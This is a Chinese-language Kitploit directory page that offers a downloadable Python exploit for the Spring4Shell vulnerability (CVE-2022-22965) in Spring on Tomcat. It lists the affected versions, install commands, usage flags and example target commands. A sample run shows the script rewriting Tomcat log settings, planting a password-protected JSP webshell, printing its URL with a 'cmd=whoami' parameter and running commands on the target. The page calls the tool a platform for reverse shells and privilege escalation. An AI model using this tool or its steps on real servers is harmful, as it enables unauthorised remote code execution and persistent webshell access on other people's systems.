Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-22965 — spring4shell | CVE-2022-22965 | Kitploit
工具/GitHubGitHub/p1ckzi/cve-2022-22965
Payload生成漏洞分析漏洞利用ShellcodeWeb应用程序漏洞利用渗透测试
GitHubp1ckzi/cve-2022-22965

CVE-2022-22965

spring4shell | CVE-2022-22965

查看仓库
23724年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

spring4shell ⭐

CVE-2022-22965 的一个 Python 实现,以 ssh 会话的风格为用户提供提示符。
该脚本旨在易于理解和执行,兼顾可读性与可访问性——取决于用户的选择。专为在 Tomcat 服务器上利用该漏洞而设计。服务器上的 fileDateFormat 字段将作为脚本的一部分被设置和取消设置,从而允许该漏洞利用被多次运行。可能需要进行清理。

漏洞利用 - CVE-2022-22965 ❗

该漏洞存在于 5.2 版本之前的 java spring 框架中,以及 5.3.0-17 和 5.2.0-19 版本中,且运行在大于或等于 9 的 Java Development Kit 版本上。 更多信息:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22965

先决条件 ✔

运行该漏洞利用脚本需要 requests 模块和 BeautifulSoup 模块。可以通过以下命令安装:
pip3 install bs4
pip3 install requests
所有其他模块都内置于 python3 中。

用法 ℹ

该脚本仅需要易受攻击服务器的 URL 即可运行。不过,为了便于访问等,还提供了其他标志参数。
--help 的输出:

root@kitploit:~
usage: spring4shell_v3.py [-h] [-f FILENAME] [-p PASSWORD] [-d DIRECTORY] [-a] [-n] address

spring4shell_v3.py exploits an RCE vulnerability in
applications running spring core java framework.

positional arguments:
  address               ip/hostname, port, sub-directories to the vulnerable spring core framework on tomcat

optional arguments:
  -h, --help            show this help message and exit
  -f FILENAME, --filename FILENAME
                        name of the file to create and upload
  -p PASSWORD, --password PASSWORD
                        password to protect the uploaded shell
  -d DIRECTORY, --directory DIRECTORY
                        The upload path for the file
  -a, --accessible      turns off features which may negatively affect screen readers
  -n, --no-colour       removes colour output

example:
        spring4shell_v3.py http://10.10.10.10/
        spring4shell_v3.py http://hostname:8080/ -p 'password123'
        spring4shell_v3.py http://10.10.10.10/subdir/ -a -f 'jsp-shell'


示例输出:

root@kitploit:~
./spring4shell http://spring-vuln.local

                /           /  |      /         / /                                                            
 ___  ___  ___    ___  ___ (___| ___ (___  ___ ( (                                                             
|___ |   )|   )| |   )|   )    )|___ |   )|___)| |                                                             
 __/ |__/ |    | |  / |__/    /  __/ |  / |__  | |                                                             
     |                __/                                                                                      
CVE-2022-22965.
[i] attempting to change tomcat log variables.
[+] log variables set successfully.
[+] attempting to change tomcat log location variables.
[+] log successfully modified.
[i] waiting for tomcat changes.
[i] sending the webshell.
[i] resetting the log variables.
[i] shell location:
[i] http://spring-vuln.local/20df2b10c787d5ae.jsp?pwd=bd72c5e8&cmd=whoami
[i] or run commands here. type 'exit' to quit.
spring4shell:[email protected] $ whoami
service

spring4shell:[email protected] $

局限性 ⚠

不言而喻,该脚本不会为用户提供完整的 shell,而是被设计为一个在目标上实现完整反向 shell、权限提升等的平台。
该脚本尝试获取运行易受攻击服务器的用户/服务,以便将其用作程序中伪命令提示符的一部分,不过这并非总是可靠的。

备注 📝

该脚本主要是在 Python 脚本编写方面的一次练习,针对单一漏洞利用,兼顾可读性和可访问性。旨在易于使用和理解。尝试处理常见的异常。

致谢 👍

https://skerritt.blog/a11y/ - 可访问性实现。

下载工具